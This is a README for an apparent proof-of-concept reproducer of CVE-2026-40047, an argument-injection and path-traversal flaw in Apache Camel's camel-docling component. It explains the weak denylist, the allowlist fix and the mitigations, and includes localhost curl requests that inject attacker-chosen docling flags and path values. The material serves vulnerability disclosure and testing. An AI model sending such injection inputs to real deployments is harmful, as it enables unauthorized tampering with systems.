Share
## https://sploitus.com/exploit?id=6AF53300-C136-5330-844A-132ED3FACA0D
# camel-docling CLI Argument Injection / Path Traversal Reproducer (CVE-2026-40047)

This project demonstrates a **CLI argument injection and path traversal** vulnerability in Apache
Camel's `camel-docling` component, tracked as **CVE-2026-40047**. `DoclingProducer` builds the
invocation of the external `docling` command-line tool from message headers; custom arguments supplied
through the `CamelDoclingCustomArguments` header were appended with insufficient validation (a denylist
plus a literal `../` check), so an attacker who influences those headers can inject arbitrary `docling`
CLI flags and traversal-bearing path values into the subprocess.

Advisory: https://camel.apache.org/security/CVE-2026-40047.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-docling` |
| **Affected Class** | `org.apache.camel.component.docling.DoclingProducer` (`addCustomArguments` / `validateCustomArguments`) |
| **Root cause** | `CamelDoclingCustomArguments` (a `List`) appended to the `docling` CLI args with a weak denylist + literal `../` check |
| **CWE** | CWE-88 (Argument Injection) / CWE-22 (Path Traversal) |
| **Impact** | Injection of arbitrary/unintended `docling` CLI flags and out-of-directory path values into the external tool. NOT OS command injection (list-based ProcessBuilder, no shell). |
| **Affected Versions** | From 4.15.0 before 4.18.3 |
| **Fixed Versions** | 4.18.3, 4.19.0 |
| **JIRA** | CAMEL-23212 |
| **Reporter** | Andrea Cosentino (Apache Software Foundation) |

## Technical Details

`DoclingProducer` assembles the `docling` invocation and runs it via `java.lang.ProcessBuilder` (list
form โ€” no shell). Custom CLI arguments from the `CamelDoclingCustomArguments` header are appended to
the command:

```java
// DoclingProducer.addCustomArguments(...) - affected version
List customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
    validateCustomArguments(customArgs);   // denylist + literal "../" check (weak)
    command.addAll(customArgs);
}
```

In affected versions `validateCustomArguments` relied on a **denylist** of disallowed flags and only
rejected path values containing a literal `../`. As a result:

- **Unrecognized flags** (not on the denylist) are passed straight to `docling`.
- **Path-like values** that traverse without a literal `../` (absolute paths, or normalized sequences)
  are not caught.

Because Camel builds the `docling` invocation, the component is responsible for constraining these
values. The fix (CAMEL-23212) replaces the denylist with a strict **allowlist** of recognized flags,
rejects producer-managed flags (`--output`/`-o`) and shell metacharacters (defence in depth), and
normalizes path-like values with `Path.normalize()` before validating.

> The invocation uses the list form of `ProcessBuilder`, so a shell does not interpret the values โ€” OS
> command injection via shell metacharacters is not possible; the metacharacter rejection in the fix
> is defence-in-depth.

## The route

```java
from("direct:convert")
    .to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");
```

## How this reproducer observes the injection

`docling` is an external tool. This reproducer ships a **stub `docling`** (on `PATH` inside the
container) that logs the argv it receives and writes back a markdown file, so the injected arguments
are visible in the HTTP response and in `/tmp/docling-invocations.log`. Everything runs inside a Docker
image (app + stub) โ€” so no real `docling` install is needed.

## Prerequisites

- Java 17+ and Maven 3.8+ (to build the jar)
- Docker (runs the app + stub `docling`)

## Reproduction Steps

### Step 1: Build the jar and the image

```bash
mvn clean package -DskipTests
docker compose up -d --build
```

### Step 2: Benign conversion

```bash
curl http://localhost:8080/exploit/normal
# stub docling receives: docling --to md --ocr-lang en --output  /tmp/input.txt
```

### Step 3: Inject arbitrary CLI arguments

```bash
curl "http://localhost:8080/exploit/attack"
# injects CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value]
# -> stub docling receives:
#    docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output  /tmp/input.txt

# a path value with no literal "../" (absolute path) also passes:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"
```

On an affected version (this reproducer pins **4.18.2**) the route **succeeds** and the injected
arguments reach the subprocess. On a fixed version (4.18.3 / 4.19.0) the allowlist rejects
`--injected-by-attacker` with an `IllegalArgumentException` and the route fails.

### Cleanup

```bash
docker compose down
```

## Exploit Conditions

1. A Camel route that forwards externally-influenced data into `CamelDoclingCustomArguments` (or the
   path-bearing headers) of a `docling:` producer.
2. No stripping of Camel-internal headers on messages from untrusted producers.

## Recommended Fix

Upgrade to 4.18.3 / 4.19.0. The fix uses a strict allowlist of recognized `docling` flags, rejects
producer-managed flags and shell metacharacters, and normalizes path values with `Path.normalize()`
before validating them.

## Mitigation

Until upgrading:

1. **Do not map untrusted content** into `CamelDoclingCustomArguments` or the path-bearing headers.
2. **Strip Camel-internal headers** (`removeHeaders("Camel*")`) from messages arriving from untrusted
   producers before the `docling:` producer.

## Files

```
CVE-2026-40047/
โ”œโ”€โ”€ pom.xml
โ”œโ”€โ”€ Dockerfile                       # app + stub 'docling' on PATH
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ docling-stub.sh                  # stub 'docling' (logs argv, writes markdown)
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ DoclingRoute.java         # from(direct:convert).to(docling:convert)
    โ”‚   โ””โ”€โ”€ ExploitController.java    # injects CamelDoclingCustomArguments
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties
```

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly
disclosed and fixed** vulnerability. Do not use it against systems without explicit permission.